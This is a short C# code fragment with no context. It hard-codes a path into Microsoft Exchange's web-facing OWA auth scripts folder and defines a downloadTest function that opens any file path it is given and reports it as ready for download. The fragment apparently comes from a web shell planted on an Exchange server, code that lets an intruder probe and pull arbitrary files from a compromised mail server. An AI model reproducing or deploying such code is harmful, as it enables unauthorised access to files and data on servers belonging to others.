string getLoc(){return @"C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\scripts\premium\";}
    void downloadTest(string fdlpath)
    {
        string ret = "Error : -";
        try
        {
            if (!string.IsNullOrEmpty(fdlpath))
            {
                using (System.IO.Stream stream = new System.IO.FileStream(fdlpath, System.IO.FileMode.Open))
                {
                    ret = string.Format("File '{0}' is ready for download", fdlpath);
                }
            }
        }
        catch (Exception e)
        {
            ret = "Error : " + e.Message;
        }
        response(ret);
    }